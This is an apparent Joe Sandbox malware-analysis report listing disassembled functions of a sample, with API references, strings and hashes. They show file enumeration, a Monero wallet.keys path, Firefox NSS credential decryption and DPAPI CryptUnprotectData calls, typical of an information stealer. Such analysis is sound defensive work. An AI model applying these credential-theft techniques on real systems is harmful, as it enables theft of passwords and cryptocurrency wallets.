Opcode Fuzzy Hash: 0a52b75dd5425afb53a6d45d0be53f7a06597f62bd90dd4f69982590a842a6be
Instruction Fuzzy Hash: FAA161B1A0020CABDB34EB64CC85FFE7378BB94300F444598AA1D96141EB749B95CF66

Function 001F4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 001F4580
RtlAllocateHeap.NTDLL(00000000), ref: 001F4587
wsprintfA.USER32 ref: 001F45A6
FindFirstFileA.KERNEL32(?,?), ref: 001F45BD
StrCmpCA.SHLWAPI(?,00200FC4), ref: 001F45EB
StrCmpCA.SHLWAPI(?,00200FC8), ref: 001F4601
FindNextFileA.KERNEL32(000000FF,?), ref: 001F468B
FindClose.KERNEL32(000000FF), ref: 001F46A0
lstrcat.KERNEL32(?,011DE2A0), ref: 001F46C5
lstrcat.KERNEL32(?,011DD3B8), ref: 001F46D8
lstrlen.KERNEL32(?), ref: 001F46E5
lstrlen.KERNEL32(?), ref: 001F46F6

Strings

%s\*, xrefs: 001F459A
%s\%s, xrefs: 001F461B

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: a4f717a33d7aa3b9cb8b926fd5892da239350d39f05356cd6134b19330608e85
Instruction ID: af356afa1c404bda6d86c3f0cb9df14043a20812a1e440c9063530f20356aaff
Opcode Fuzzy Hash: a4f717a33d7aa3b9cb8b926fd5892da239350d39f05356cd6134b19330608e85
Instruction Fuzzy Hash: 355144B165021CABCB24EB70DC89FFE737CAB58300F404598B60A96190EF74DB958F96

Function 005B23AB Relevance: 19.1, Strings: 14, Instructions: 1606COMMON

Download Yara Rule

Strings

j{{, xrefs: 005B26B6
+#;7, xrefs: 005B2CBD
~.i:, xrefs: 005B340F
Ak_, xrefs: 005B2982
n=o, xrefs: 005B2491
Lvg, xrefs: 005B300B
X/Fy, xrefs: 005B3079
GFm_, xrefs: 005B31A5
Rj+U, xrefs: 005B2B6E
(w3f, xrefs: 005B3307
?#?7, xrefs: 005B2EA4
1Wm, xrefs: 005B2DBC
ss_E, xrefs: 005B2474
~ls, xrefs: 005B2704

Memory Dump Source

Source File: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (w3f$+#;7$1Wm$?#?7$Ak_$GFm_$Lvg$Rj+U$X/Fy$j{{$n=o$ss_E$~.i:$~ls
API String ID: 0-1724277783
Opcode ID: eb3fef4899f20b78a62c73a256b4d5700586983652afbcbe85486aec11ff9ac1
Instruction ID: 6f7e008d8734f420f6856a365c65ae166bacf17d1ef2aa87e889987be651c35e
Opcode Fuzzy Hash: eb3fef4899f20b78a62c73a256b4d5700586983652afbcbe85486aec11ff9ac1
Instruction Fuzzy Hash: 5FB2F7F3A08200AFD304AE29DC8566AFBE6EFD4720F16893DE6C4C7744E63558458797

Function 001EED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 001EED3E
FindFirstFileA.KERNEL32(?,?), ref: 001EED55
StrCmpCA.SHLWAPI(?,00201538), ref: 001EEDAB
StrCmpCA.SHLWAPI(?,0020153C), ref: 001EEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 001EF2AE
FindClose.KERNEL32(000000FF), ref: 001EF2C3

Strings

%s\*.*, xrefs: 001EED32

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 1b4569ffd4daa0939e9029d92adbf4b700b3b66bcc6d62e2d9ffe49567a65d56
Instruction ID: 574d5754764c6a87b5d02f33edb0439cb22220dffbd4dd4bda59e84f9efa3cc4
Opcode Fuzzy Hash: 1b4569ffd4daa0939e9029d92adbf4b700b3b66bcc6d62e2d9ffe49567a65d56
Instruction Fuzzy Hash: B3E1E1B191111C9ADB54FB60CC52EFE7378AF64341F8041A9B60E62096EF746F8ACF52

Function 001EDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00200C2E), ref: 001EDE5E
StrCmpCA.SHLWAPI(?,002014C8), ref: 001EDEAE
StrCmpCA.SHLWAPI(?,002014CC), ref: 001EDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 001EE3E0
FindClose.KERNEL32(000000FF), ref: 001EE3F2

Strings

\*.*, xrefs: 001EDE26

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 8826f6f002ab125ffc904e8108ca0bd5989fc3163a7c7561bb432a9178033299
Instruction ID: 18ac4da2c3850de2b754a92e0fecad574394d36beefd5409f047e7939687d85a
Opcode Fuzzy Hash: 8826f6f002ab125ffc904e8108ca0bd5989fc3163a7c7561bb432a9178033299
Instruction Fuzzy Hash: CAF1AEB195011D9ADB15FB60CC95EFE7378BF24341FC041A9A60E62091EF746B8ACF61

Function 001EC820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 001EC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 001EC87C
PK11_GetInternalKeySlot.NSS3 ref: 001EC88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 001EC8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 001EC8EB
lstrcat.KERNEL32(?,00200B46), ref: 001EC943
lstrcat.KERNEL32(?,00200B47), ref: 001EC957
PK11_FreeSlot.NSS3(?), ref: 001EC961
lstrcat.KERNEL32(?,00200B4E), ref: 001EC978

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: b2317ac19792b43012ab553be89beadc25698117174b9ade0a4247c4cd623809
Instruction ID: 6b568998723efa0b6d3dcbe14b3d14f043ecffce9cb4e51316b7f1040f51998f
Opcode Fuzzy Hash: b2317ac19792b43012ab553be89beadc25698117174b9ade0a4247c4cd623809
Instruction Fuzzy Hash: 31418F7590420ADFDB20DFA4DC89BFEB7B8BB48304F1041B8E509A7281D7705A95CF95

Function 005AD313 Relevance: 7.9, Strings: 5, Instructions: 1641COMMON

Download Yara Rule

Strings

9aV, xrefs: 005AD9E7
bfq, xrefs: 005AD8F5
dI^, xrefs: 005AE3DE
]z>w, xrefs: 005AD8C3
{ ~`, xrefs: 005AE07C

Memory Dump Source

Source File: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 9aV$]z>w$dI^${ ~`$bfq
API String ID: 0-1366403809
Opcode ID: aef3434a8e878abad0dd9936da0e19d2abc0107f8520b7c809840d7be112499a
Instruction ID: 9b55eb6c195ff27530a42e4ab54e47a52add1a47cb469e5a491ddd752937aa52
Opcode Fuzzy Hash: aef3434a8e878abad0dd9936da0e19d2abc0107f8520b7c809840d7be112499a
Instruction Fuzzy Hash: D1B205F360C2049FE304AF29EC8567ABBE9EF94720F16492DEAC5C3740EA7558418797

Function 001F6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 001F696C
sscanf.NTDLL ref: 001F6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 001F69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 001F69C0
ExitProcess.KERNEL32 ref: 001F69DA

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: b67c91260831e85c154eb5df0bface5479b964f8d84f50599364a7c60355e907
Instruction ID: ed4dfa4bf8fee545cf5bfab8e170bc5b4cbd80578e6c706e1d5cb2d74241f12e
Opcode Fuzzy Hash: b67c91260831e85c154eb5df0bface5479b964f8d84f50599364a7c60355e907
Instruction Fuzzy Hash: AB21EAB5D0020CABCF04EFE4D9459EEB7B5FF58300F44852AE506E3250EB749615CBA9

Function 001E7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 001E724D
RtlAllocateHeap.NTDLL(00000000), ref: 001E7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 001E7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 001E72A4
LocalFree.KERNEL32(?), ref: 001E72AE

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
